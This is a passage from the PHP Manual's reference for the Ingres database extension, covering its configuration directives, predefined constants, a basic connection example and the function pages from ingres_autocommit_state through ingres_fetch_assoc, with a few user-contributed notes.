ingres.cursor_mode | "0" | PHP_INI_ALL | Available since ingres 1.1.0.
ingres.default_database | NULL | PHP_INI_ALL | Available since ingres 1.0.0
ingres.default_password | NULL | PHP_INI_ALL | Available since ingres 1.0.0
ingres.default_user | NULL | PHP_INI_ALL | Available since ingres 1.0.0
ingres.describe | 1 | PHP_INI_ALL | Available since ingres 2.1.0
ingres.fetch_buffer_size | 100 | PHP_INI_ALL | Available since ingres 2.1.0
ingres.max_links | "-1" | PHP_INI_SYSTEM | Available since ingres 1.0.0
ingres.max_persistent | "-1" | PHP_INI_SYSTEM | Available since ingres 1.0.0
ingres.reuse_connection | "1" | PHP_INI_ALL | Available since ingres 2.0.0
ingres.scrollable | "1" | PHP_INI_ALL | Available since ingres 2.0.0.
ingres.trace | "0" | PHP_INI_ALL | Available since ingres 2.0.0.
ingres.trace_connect | "0" | PHP_INI_ALL | Available since ingres 1.2.1.
ingres.utf8 | "1" | PHP_INI_ALL | Available since ingres 2.0.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

ingres.allow_persistent boolean

Specifies whether to allow persistent connections to Ingres

ingres.array_index_start integer

Specifies the start value for an integer key for arrays generated by ingres_fetch_row() or ingres_fetch_array(). By default ingres.array_index_start is set to 1. If you wish to make the ingres extension behave like other database extensions set this configuration option to 0.

ingres.auto boolean

Enables or disables autocommit emulation. Ingres cannot have multiple cursors open with autocommit enabled. When enabled, the driver emulates autocommit.

ingres.blob_segment_length integer

Specifies the amount of memory to use when reading BLOB data, in bytes

ingres.cursor_mode integer

Specifies the default mode for cursors opened with ingres_prepare(). Valid values are INGRES_CURSOR_UPDATE or INGRES_CURSOR_READONLY.

ingres.default_database string

Specifies the default database name to use when connecting to the database server if no other name is specified. Does not apply in SQL safe mode.

ingres.default_password string

Specifies the default password to use when connecting to the database server if no other name is specified. Does not apply in SQL safe mode.

ingres.default_user string

Specifies the default user name to use when connecting to the database server if no other name is specified. Does not apply in SQL safe mode.

ingres.describe boolean

Enables the use of DESCRIBE INPUT to determine the expected data types for queries that use parameters. Available with Ingres 9.1.0 and later. When disabled, queries that have parameters passed may need to manually describe the types of those parameters using the types parameter in ingres_query().

Note:

Enabling this feature with ingres_query() will cause additional communications traffic between this extension and the server. To minimize this additional traffic, use ingres_prepare() and ingres_execute().

ingres.fetch_buffer_size integer

Specifies the number of pre-fetch rows that ingres_fetch_array(), ingres_fetch_object() and ingres_fetch_row() will try and fetch in one fetch operation.

ingres.max_links integer

Specifies the maximum number of Ingres sessions allowed per process or thread. The number of sessions should not exceed the total number of connected sessions configured within Ingres.

ingres.max_persistent integer

Specifies the maximum number of persistent Ingres sessions allowed per process or thread. The number of sessions should not exceed the total number of connected sessions configured within Ingres.

ingres.reuse_connection boolean

Reuses an existing active connection if connecting to the same database with the same user name

ingres.scrollable boolean

Enables support for scrollable cursors. When fetching CLOB or BLOB data, this should be set to FALSE. Available with Ingres 9.2.0 or later.

ingres.trace boolean

Enables simple tracing using E_NOTICE messages

ingres.trace_connect boolean

Prints E_NOTICE messages during ingres_connect() or ingres_pconnect() calls

ingres.utf8 boolean

Assumes that strings being passed to National Character column types (NVARCHAR or NCHAR) are using UTF8 encoding and converts them to UTF16 for the server

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

ingres_connect() and ingres_pconnect() return an Ingres link identifier.

ingres_query() and ingres_unbuffered_query() return an Ingres result identifier.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

INGRES_ASSOC (integer)
Columns are returned into the array having the fieldname as the array index. Used with ingres_fetch_array().
INGRES_NUM (integer)
Columns are returned into the array having a numerical index to the fields. By default this index starts at 1, the first field in the result. To change this value, see ingres.array_index_start. Used with ingres_fetch_array().
INGRES_BOTH (integer)
Columns are returned into the array having both a numerical index and the fieldname as the array index. Used with ingres_fetch_array().
INGRES_EXT_VERSION (string)
Specifies the version of the Ingres Extension. Available since version 1.2.0 of the PECL extension.
INGRES_API_VERSION (integer)
Specifies the version of Ingres OpenAPI that the extension was built against. Available since version 1.2.0 of the PECL extension.
INGRES_CURSOR_READONLY (integer)
Specifies that Ingres cursors should be opened in "readonly" mode. Available since version 1.2.0 of the PECL extension. Used with ingres.cursor_mode.
INGRES_CURSOR_UPDATE (integer)
Specifies that Ingres cursors should be opened "for update." Available since version 1.2.0 of the PECL extension. Used with ingres.cursor_mode.
INGRES_DATE_MULTINATIONAL (integer)
Equivalent to the II_DATE_FORMAT setting of MULTINATIONAL. Available since version 1.2.0 of the PECL extension. Used with ingres_connect(), ingres_pconnect() and ingres_set_environment(). See options in ingres_set_environment().
INGRES_DATE_MULTINATIONAL4 (integer)
Equivalent to the II_DATE_FORMAT setting of MULTINATIONAL4. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_FINNISH (integer)
Equivalent to the II_DATE_FORMAT setting of FINNISH. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_ISO (integer)
Equivalent to the II_DATE_FORMAT setting of ISO. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_ISO4 (integer)
Equivalent to the II_DATE_FORMAT setting of ISO4. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_GERMAN (integer)
Equivalent to the II_DATE_FORMAT setting of GERMAN. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_MDY (integer)
Equivalent to the II_DATE_FORMAT setting of MDY. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_DMY (integer)
Equivalent to the II_DATE_FORMAT setting of DMY. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_DATE_YMD (integer)
Equivalent to the II_DATE_FORMAT setting of YMD. Available since version 1.2.0 of the PECL extension.
Used with
ingres_connect(), ingres_pconnect()
and ingres_set_environment(). See options
in ingres_set_environment().
INGRES_MONEY_LEADING (integer)
Specifies the currency character that should be placed at the start of a money value. Equivalent to setting II_MONEY_FORMAT to "L:". Available since version 1.2.0 of the PECL extension. Used with ingres_connect(), ingres_pconnect() and ingres_set_environment(). See options in ingres_set_environment().
INGRES_MONEY_TRAILING (integer)
Specifies the currency character that should be placed at the end of a money value. Equivalent to setting II_MONEY_FORMAT to "T:". Available since version 1.2.0 of the PECL extension. Used with ingres_connect(), ingres_pconnect() and ingres_set_environment(). See options in ingres_set_environment().
INGRES_STRUCTURE_BTREE (integer)
Specifies the default table or index structure to BTREE when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_CBTREE (integer)
Specifies the default table or index structure to COMPRESSED BTREE when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_HASH (integer)
Specifies the default table or index structure to HASH when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_CHASH (integer)
Specifies the default table or index structure to COMPRESSED HASH when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_HEAP (integer)
Specifies the default table structure to HEAP when used in combination with the
options option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_CHEAP (integer)
Specifies the default table structure to COMPRESSED HEAP when used in combination with the
options option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_ISAM (integer)
Specifies the default table or index structure to ISAM when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().
INGRES_STRUCTURE_CISAM (integer)
Specifies the default table or index structure to COMPRESSED ISAM when used in combination with the
options or index_structure option when connecting. Available since version 1.4.0 of the PECL extension.
Used with ingres_connect() and
ingres_pconnect(). See options
in ingres_connect().

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

The following simple example shows how to connect to an Ingres database, execute a query, print resulting rows and disconnect from the database.

Example #1 Simple Ingres Example

<?php
// Connecting, selecting database
$link = ingres_connect("database", "user", "password")
    or die("Could not connect: " . ingres_error($link));
echo "Connected successfully";

// Select from a table that exists in all Ingres databases
$query = "SELECT * FROM iitables";
$result = ingres_query($link,$query) or die("Query failed: " .
ingres_error($link));

// Print results in HTML
// relid - table name
// relowner - table owner
echo "<table>\n";
while ($iitables = ingres_fetch_object($result)) {
    echo "\t<tr>\n";
    echo "\t\t<td>" . $iitables->relid . "</td>\n";
    echo "\t\t<td>" . $iitables->relowner . "</td>\n";
    echo "\t</tr>\n";
}
echo "</table>\n";

// Free results
ingres_free_result($result);

// Commit transaction
ingres_commit($link);

// Closing connection
ingres_close($link);
?>

User Contributed Notes

There are no user contributed notes for this page.


Ingres Functions

Table of Contents

  • ingres_autocommit_state — Test if the connection is using autocommit
  • ingres_autocommit — Switch autocommit on or off
  • ingres_charset — Returns the installation character set
  • ingres_close — Close an Ingres database connection
  • ingres_commit — Commit a transaction
  • ingres_connect — Open a connection to an Ingres database
  • ingres_cursor — Get a cursor name for a given result resource
  • ingres_errno — Get the last Ingres error number generated
  • ingres_error — Get a meaningful error message for the last error generated
  • ingres_errsqlstate — Get the last SQLSTATE error code generated
  • ingres_escape_string — Escape special characters for use in a query
  • ingres_execute — Execute a prepared query
  • ingres_fetch_array — Fetch a row of result into an array
  • ingres_fetch_assoc — Fetch a row of result into an associative array
  • ingres_fetch_object — Fetch a row of result into an object
  • ingres_fetch_proc_return — Get the return value from a procedure call
  • ingres_fetch_row — Fetch a row of result into an enumerated array
  • ingres_field_length — Get the length of a field
  • ingres_field_name — Get the name of a field in a query result
  • ingres_field_nullable — Test if a field is nullable
  • ingres_field_precision — Get the precision of a field
  • ingres_field_scale — Get the scale of a field
  • ingres_field_type — Get the type of a field in a query result
  • ingres_free_result — Free the resources associated with a result identifier
  • ingres_next_error — Get the next Ingres error
  • ingres_num_fields — Get the number of fields returned by the last query
  • ingres_num_rows — Get the number of rows affected or returned by a query
  • ingres_pconnect — Open a persistent connection to an Ingres database
  • ingres_prepare — Prepare a query for later execution
  • ingres_query — Send an SQL query to Ingres
  • ingres_result_seek — Set the row position before fetching data
  • ingres_rollback — Roll back a transaction
  • ingres_set_environment — Set environment features controlling output options
  • ingres_unbuffered_query — Send an unbuffered SQL query to Ingres

User Contributed Notes

corysbrain-ondrugs at yahoo dot com 07-Jul-2007 06:04
My post below works but is *not* the correct way.  It only works because of default behavior.   I'll re-post my understanding of what is "correct" soon.
corysbrain-ondrugs at yahoo dot com 14-Feb-2007 03:57
On the three versions of Linux/Ingres I've worked on, I've always had to modify the following line in the example above:

while ($iirelation = ingres_fetch_object($link)) {

to:

while ($iirelation = ingres_fetch_object()) {

If not, PHP will return "Undefined property" notices.

However,  it's my understanding that the following is the proper way to access the database (it works as expected):

<?php
// Connecting, selecting database
$link = ingres_connect('database', 'user', 'password')
   or die('Could not connect: ' . ingres_error($link));
echo 'Connected successfully';

// Select from a table that exists in all Ingres databases
$query = 'SELECT * FROM iirelation';
$rs = ingres_query($link,$query) or die('Query failed: ' .
ingres_error($link));

// Print results in HTML
// relid - table name
// relowner - table owner
echo "<table>\n";
while ($iirelation = ingres_fetch_object($rs)) {
   echo "\t<tr>\n";
   echo "\t\t<td>" . $iirelation->relid . "</td>\n";
   echo "\t\t<td>" . $iirelation->relowner . "</td>\n";
   echo "\t</tr>\n";
}
echo "</table>\n";

// Commit transaction
ingres_commit($link);
// Closing connection
ingres_close($link);
?>


Test if the connection is using autocommit

  • « Ingres Functions
  • ingres_autocommit »
  • PHP Manual
  • Ingres Functions
  • Test if the connection is using autocommit

ingres_autocommit_state

(PECL ingres >= 2.0.0)

ingres_autocommit_state — Test if the connection is using autocommit

Description

bool ingres_autocommit_state ( resource $link )

ingres_autocommit_state() is called to determine whether the current link has autocommit enabled or not.

Parameters

link

The connection link identifier

Return Values

Returns TRUE if autocommit is enabled or FALSE when autocommit is disabled

See Also

  • ingres_autocommit() - Switch autocommit on or off
  • ingres_query() - Send an SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.


Switch autocommit on or off

  • « ingres_autocommit_state
  • ingres_charset »
  • PHP Manual
  • Ingres Functions
  • Switch autocommit on or off

ingres_autocommit

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_autocommit — Switch autocommit on or off

Description

bool ingres_autocommit ( resource $link )

ingres_autocommit() is called before opening a transaction (before the first call to ingres_query() or just after a call to ingres_rollback() or ingres_commit()) to switch the autocommit mode of the server on or off (when the script begins the autocommit mode is off).

When autocommit mode is on, every query is automatically committed by the server, as if ingres_commit() was called after every call to ingres_query(). To see if autocommit is enabled use, ingres_autocommit_state().

By default Ingres will rollback any uncommitted transactions at the end of a request. Use this function or ingres_commit() to ensure your data is committed to the database.

Parameters

link

The connection link identifier

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ingres_autocommit_state() - Test if the connection is using autocommit
  • ingres_query() - Send an SQL query to Ingres
  • ingres_rollback() - Roll back a transaction
  • ingres_commit() - Commit a transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns the installation character set

  • « ingres_autocommit
  • ingres_close »
  • PHP Manual
  • Ingres Functions
  • Returns the installation character set

ingres_charset

(PECL ingres >= 2.1.0)

ingres_charset — Returns the installation character set

Description

string ingres_charset ( resource $link )

ingres_charset() is called to determine the character set being used by the Ingres client, from II_CHARSETxx (where xx is the installation code).

Note:

You can override the value returned by using the function putenv(). Changing the value of II_CHARSETxx in a running Ingres installation can cause data corruption.

Parameters

link

The connection link identifier

Return Values

Returns a string with the value for II_CHARSETxx or returns NULL if the value could not be determined.

Examples

Example #1 ingres_charset() - Get the installation character set

<?php
$link = ingres_connect($database, $user, $password);

echo ingres_charset($link) . "\n";

ingres_close($link);
?>

See Also

  • ingres_connect() - Open a connection to an Ingres database
  • ingres_query() - Send an SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.


Close an Ingres database connection

  • « ingres_charset
  • ingres_commit »
  • PHP Manual
  • Ingres Functions
  • Close an Ingres database connection

ingres_close

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_close — Close an Ingres database connection

Description

bool ingres_close ( resource $link )

ingres_close() closes the connection to the Ingres server that is associated with the specified link.

ingres_close() is usually unnecessary, as it will not close persistent connections and all non-persistent connections are automatically closed at the end of the script.

Parameters

link

The connection link identifier

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ingres_connect() - Open a connection to an Ingres database
  • ingres_pconnect() - Open a persistent connection to an Ingres database

User Contributed Notes

There are no user contributed notes for this page.


Commit a transaction

  • « ingres_close
  • ingres_connect »
  • PHP Manual
  • Ingres Functions
  • Commit a transaction

ingres_commit

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_commit — Commit a transaction

Description

bool ingres_commit ( resource $link )

ingres_commit() commits the currently open transaction, making all changes made to the database permanent.

This closes the transaction. A new transaction can be opened by sending a query with ingres_query().

You can also have the server commit automatically after every query by calling ingres_autocommit() before opening the transaction.

By default Ingres will roll back any uncommitted transactions at the end of a request. Use this function or ingres_autocommit() to ensure your that data is committed to the database.

Parameters

link

The connection link identifier

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_rollback() - Roll back a transaction
  • ingres_autocommit() - Switch autocommit on or off

User Contributed Notes

There are no user contributed notes for this page.


Open a connection to an Ingres database

  • « ingres_commit
  • ingres_cursor »
  • PHP Manual
  • Ingres Functions
  • Open a connection to an Ingres database

ingres_connect

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_connect — Open a connection to an Ingres database

Description

resource ingres_connect ([ string $database [, string $username [, string $password [, array $options ]]]] )

ingres_connect() opens a connection with the given Ingres database.

The connection is closed when the script ends or when ingres_close() is called on this link.

Parameters

If some parameters are missing, ingres_connect() uses the values in php.ini for ingres.default_database, ingres.default_user and ingres.default_password.

database

The database name. Must follow the syntax:

[vnode::]dbname[/svr_class]

username

The Ingres user name

password

The password associated with username

options

ingres_connect() options

Option name | Option type | Description | Example
date_century_boundary | integer | The threshold by which a 2-digit year is determined to be in the current century or in the next century. Equivalent to II_DATE_CENTURY_BOUNDARY. | 50
group | string | Specifies the group ID of the user, equivalent to the "-G" flag | payroll
role | string | The role ID of the application. If a role password is required, the parameter value should be specified as "role/password"
effective_user | string | The ingres user account being impersonated, equivalent to the "-u" flag | another_user
dbms_password | string | The internal database password for the user connecting to Ingres | s3cr3t
table_structure string

The default structure for new tables. Valid values for table_structure are:

  • INGRES_STRUCTURE_BTREE
  • INGRES_STRUCTURE_HASH
  • INGRES_STRUCTURE_HEAP
  • INGRES_STRUCTURE_ISAM
  • INGRES_STRUCTURE_CBTREE
  • INGRES_STRUCTURE_CISAM
  • INGRES_STRUCTURE_CHASH
  • INGRES_STRUCTURE_CHEAP

 INGRES_STRUCTURE_BTREE
index_structure string

The default structure for new secondary indexes. Valid values for index_structure are:

  • INGRES_STRUCTURE_CBTREE
  • INGRES_STRUCTURE_CISAM
  • INGRES_STRUCTURE_CHASH
  • INGRES_STRUCTURE_BTREE
  • INGRES_STRUCTURE_HASH
  • INGRES_STRUCTURE_ISAM

 INGRES_STRUCTURE_HASH
login_local | boolean | Determines how the connection user ID and password are used when a VNODE is included in the target database string. If set to TRUE, the user ID and password are used to locally access the VNODE, and the VNODE login information is used to establish the DBMS connection. If set to FALSE, the process user ID is used to access the VNODE, and the connection user ID and password are used in place of the VNODE login information to establish the DBMS connection. This parameter is ignored if no VNODE is included in the target database string. The default is FALSE. | TRUE
timezone | string | Controls the timezone of the session. If not set it will default to the value defined by II_TIMEZONE_NAME. If II_TIMEZONE_NAME is not defined, NA-PACIFIC (GMT-8 with Daylight Savings) is used.
date_format integer

Sets the allowable input and output format for Ingres dates. Defaults to the value defined by II_DATE_FORMAT. If II_DATE_FORMAT is not set the default date format is US, e.g. mm/dd/yy. Valid values for date_format are:

  • INGRES_DATE_DMY
  • INGRES_DATE_FINISH
  • INGRES_DATE_GERMAN
  • INGRES_DATE_ISO
  • INGRES_DATE_ISO4
  • INGRES_DATE_MDY
  • INGRES_DATE_MULTINATIONAL
  • INGRES_DATE_MULTINATIONAL4
  • INGRES_DATE_YMD
  • INGRES_DATE_US

 INGRES_DATE_MULTINATIONAL4
decimal_separator string The character identifier for decimal data ","
money_lort integer

Leading or trailing currency sign. Valid values for money_lort are:

  • INGRES_MONEY_LEADING
  • INGRES_MONEY_TRAILING

 INGRES_MONEY_TRAILING
money_sign string The currency symbol to be used with the MONEY datatype €
money_precision | integer | The precision of the MONEY datatype | 3
float4_precision | integer | Precision of the FLOAT4 datatype | 10
float8_precision | integer | Precision of the FLOAT8 data | 10
blob_segment_length | integer | The amount of data in bytes to fetch at a time when retrieving BLOB or CLOB data, defaults to 4096 bytes when not explicitly set | 8192

Return Values

Returns a Ingres link resource on success or FALSE on failure

Examples

Example #1 Open a connection to an Ingres database

<?php
$link = ingres_connect("mydb", "user", "pass")
    or die("Could not connect");
echo "Connected successfully";
ingres_close($link);
?>

See Also

  • ingres_pconnect() - Open a persistent connection to an Ingres database
  • ingres_close() - Close an Ingres database connection

User Contributed Notes

tdjunk at openxtrem dot com 26-Jun-2007 02:09
You need to connect with the user running your web server, be it apache, nobody, or system (on MS Windows). Hence you have to create a matching (username) Ingres user.

Otherwise you may experience an Ingres Error :

 790536 : Unable to authenticate client's user ID.

See more information on the community forum : http://community.ingres.com/forum/dba-forum/463-installation-problem-ingres-ice.html


Get a cursor name for a given result resource

  • « ingres_connect
  • ingres_errno »
  • PHP Manual
  • Ingres Functions
  • Get a cursor name for a given result resource

ingres_cursor

(PECL ingres >= 1.1.0)

ingres_cursor — Get a cursor name for a given result resource

Description

string ingres_cursor ( resource $result )

Returns a string with the active cursor name. If no cursor is active then NULL is returned.

Parameters

result

The query result identifier

Return Values

Returns a string containing the active cursor name. If no cursor is active then NULL is returned.

Examples

Example #1 Get cursor name for a query resource

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_prepare($link, "select * from table");

$cursor_name = ingres_cursor($result);

echo $cursor_name;

?>

See Also

  • ingres_prepare() - Prepare a query for later execution
  • ingres_execute() - Execute a prepared query

User Contributed Notes

There are no user contributed notes for this page.


Get the last Ingres error number generated

  • « ingres_cursor
  • ingres_error »
  • PHP Manual
  • Ingres Functions
  • Get the last Ingres error number generated

ingres_errno

(PECL ingres >= 1.1.0)

ingres_errno — Get the last Ingres error number generated

Description

int ingres_errno ([ resource $link ] )

Returns an integer containing the last error number. If no error was reported 0 is returned.

If a link resource is passed to ingres_errno() it returns the last error recorded for the link. If no link is passed, then ingres_errno() returns the last error reported using the default link.

The function, ingres_errno(), should always be called after executing a database query. Calling another function before ingres_errno() is called will reset or change any error code from the last Ingres function call.

Parameters

link

The connection link identifier

Return Values

Returns an integer containing the last error number. If no error was reported, 0 is returned.

Examples

Example #1 Get the last Ingres error number generated

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

$error_code = ingres_errno($link);

if ( $error_code != 0 ) {
   echo "An error occurred - " . $error_code;
}
?>

See Also

  • ingres_error() - Get a meaningful error message for the last error generated
  • ingres_errsqlstate() - Get the last SQLSTATE error code generated
  • ingres_next_error() - Get the next Ingres error

User Contributed Notes

There are no user contributed notes for this page.


Get a meaningful error message for the last error generated

  • « ingres_errno
  • ingres_errsqlstate »
  • PHP Manual
  • Ingres Functions
  • Get a meaningful error message for the last error generated

ingres_error

(PECL ingres >= 1.1.0)

ingres_error — Get a meaningful error message for the last error generated

Description

string ingres_error ([ resource $link ] )

Returns a string containing the last error, or NULL if no error has occurred.

If a link resource is passed to ingres_error(), it returns the last error recorded for the link. If no link is passed then ingres_error() returns the last error reported using the default link.

The function, ingres_error(), should always be called after executing any database query. Calling another function before ingres_error() is called will reset or change any error message from the last Ingres function call.

Parameters

link

The connection link identifier

Return Values

Returns a string containing the last error, or NULL if no error has occurred.

Examples

Example #1 Get a message for the last error generated

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

$error_text = ingres_error();

if (!is_null($error_text)) {
   echo "An error occurred - " . $error_text;
}
?>

See Also

  • ingres_errno() - Get the last Ingres error number generated
  • ingres_errsqlstate() - Get the last SQLSTATE error code generated
  • ingres_next_error() - Get the next Ingres error

User Contributed Notes

There are no user contributed notes for this page.


Get the last SQLSTATE error code generated

  • « ingres_error
  • ingres_escape_string »
  • PHP Manual
  • Ingres Functions
  • Get the last SQLSTATE error code generated

ingres_errsqlstate

(PECL ingres >= 1.1.0)

ingres_errsqlstate — Get the last SQLSTATE error code generated

Description

string ingres_errsqlstate ([ resource $link ] )

Returns a string containing the last SQLSTATE, or NULL if no error has occurred.

If a link resource is passed to ingres_errsqlstate(), it returns the last error recorded for the link. If no link is passed, then ingres_errsqlstate() returns the last error reported using the default link.

The function, ingres_errsqlstate(), should always be called after executing any database query. Calling another function before ingres_errsqlstate() is called will reset or change any error message from the last Ingres function call.

Parameters

link

The connection link identifier

Return Values

Returns a string containing the last SQLSTATE, or NULL if no error has occurred.

Examples

Example #1 Get the last SQLSTATE error code generated

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

$error_sqlstate = ingres_errsqlstate($link);

if (!is_null($error_sqlstate)) {
   echo "An error occurred - " . $error_sqlstate;
}
?>

See Also

  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated
  • ingres_next_error() - Get the next Ingres error

User Contributed Notes

There are no user contributed notes for this page.


Escape special characters for use in a query

  • « ingres_errsqlstate
  • ingres_execute »
  • PHP Manual
  • Ingres Functions
  • Escape special characters for use in a query

ingres_escape_string

(PECL ingres >= 2.1.0)

ingres_escape_string — Escape special characters for use in a query

Description

string ingres_escape_string ( resource $link , string $source_string )

ingres_escape_string() is used to escape certain characters within a string before it is sent to the database server.

Parameters

link

The connection link identifier

source_string

The source string to be parsed

Return Values

Returns a string containing the escaped data.

Examples

Example #1 Escape special characters for use in a query

<?php
$link = ingres_connect($database, $user, $password);

$last_name = "O'Connor";

$sql = sprintf("select * from user_profile where up_last = '%s'", ingres_escape_string( $link, $last_name));

$result = ingres_query($link, $sql);

while ($user = ingres_fetch_object($result))
{
  echo $user->up_first . '<BR/>';
}

ingres_commit($link);

ingres_close($link);

?>

See Also

  • ingres_query() - Send an SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.


Execute a prepared query

  • « ingres_escape_string
  • ingres_fetch_array »
  • PHP Manual
  • Ingres Functions
  • Execute a prepared query

ingres_execute

(PECL ingres >= 1.1.0)

ingres_execute — Execute a prepared query

Description

bool ingres_execute ( resource $result [, array $params [, string $types ]] )

Execute a query prepared using ingres_prepare().

Note: Related Configurations

See also the ingres.describe, ingres.scrollable and ingres.utf8 directives in Runtime Configuration.

Parameters

result

The result query identifier

params

An array of parameter values to be used with the query

types

A string containing a sequence of types for the parameter values passed. See the types parameter in ingres_query() for the list of type codes.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ingres_unbuffered_query() - Send an unbuffered SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array
  • ingres_commit() - Commit a transaction
  • ingres_rollback() - Roll back a transaction
  • ingres_autocommit() - Switch autocommit on or off
  • ingres_set_environment() - Set environment features controlling output options
  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated

User Contributed Notes

There are no user contributed notes for this page.


Fetch a row of result into an array

  • « ingres_execute
  • ingres_fetch_assoc »
  • PHP Manual
  • Ingres Functions
  • Fetch a row of result into an array

ingres_fetch_array

( PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_fetch_array — Fetch a row of result into an array

Description

array ingres_fetch_array ( resource $result [, int $result_type ] )

This function is an extended version of ingres_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

If two or more columns of the result have the same field names, the last column will take precedence. To access the another column or columns of the same name, you must use the numeric index of the column or make an alias for the column. For example:

<?php

$result = ingres_query($link, "select ap_place as city, ap_ccode as country from airport where ap_iatacode = 'VLL'");
$result = ingres_fetch_array($result);
$foo = $result["city"];
$bar = $result["country"];

?>

With regard to speed, the function is identical to ingres_fetch_object(), and almost as quick as ingres_fetch_row() (the difference is insignificant).

By default, arrays created by ingres_fetch_array() start from position 1 and not 0 as with other DBMS extensions. The starting position can be adjusted to 0 using the configuration parameter ingres.array_index_start.

Note: Related Configurations

See also the ingres.array_index_start, ingres.fetch_buffer_size and ingres.utf8 directives in Runtime Configuration.

Parameters

result

The query result identifier

result_type

The result type. This result_type can be INGRES_NUM for enumerated array, INGRES_ASSOC for associative array, or INGRES_BOTH (default).

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows

Examples

Example #1 Fetch a row of result into an array

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link,"select * from table");
while ($row = ingres_fetch_array($result)) {
    echo $row["user_id"];  // using associative array
    echo $row["fullname"];
    echo $row[1];          // using enumerated array
    echo $row[2];
}
?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_num_fields() - Get the number of fields returned by the last query
  • ingres_field_name() - Get the name of a field in a query result
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Fetch a row of result into an associative array

  • « ingres_fetch_array
  • ingres_fetch_object »
  • PHP Manual
  • Ingres Functions
  • Fetch a row of result into an associative array

ingres_fetch_assoc

(PECL ingres >= 2.2.2)

ingres_fetch_assoc — Fetch a row of result into an associative array

Description

array ingres_fetch_assoc ( resource $result )

This function is stores the data fetched from a query executed using ingres_query() in an associative array, using the field names as keys.

With regard to speed, the function is identical to ingres_fetch_object(), and almost as quick as ingres_fetch_row() (the difference is insignificant).

By default, arrays created by ingres_fetch_assoc() start from position 1 and not 0 as with other DBMS extensions. The starting position can be adjusted to 0 using the configuration parameter ingres.array_index_start.

Note: Related Configurations

See also the ingres.array_index_start, ingres.fetch_buffer_size and ingres.utf8 directives in Runtime Configuration.

Parameters

result

The query result identifier

Return Values

Returns an associative array that corresponds to the fetched row, or FALSE if there are no more rows

Examples

Example #1 Fetch a row into an associative array

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link,"select * from table");
while ($row = ingres_fetch_assoc($result)) {
    echo $row["user_id"];  // using associative array
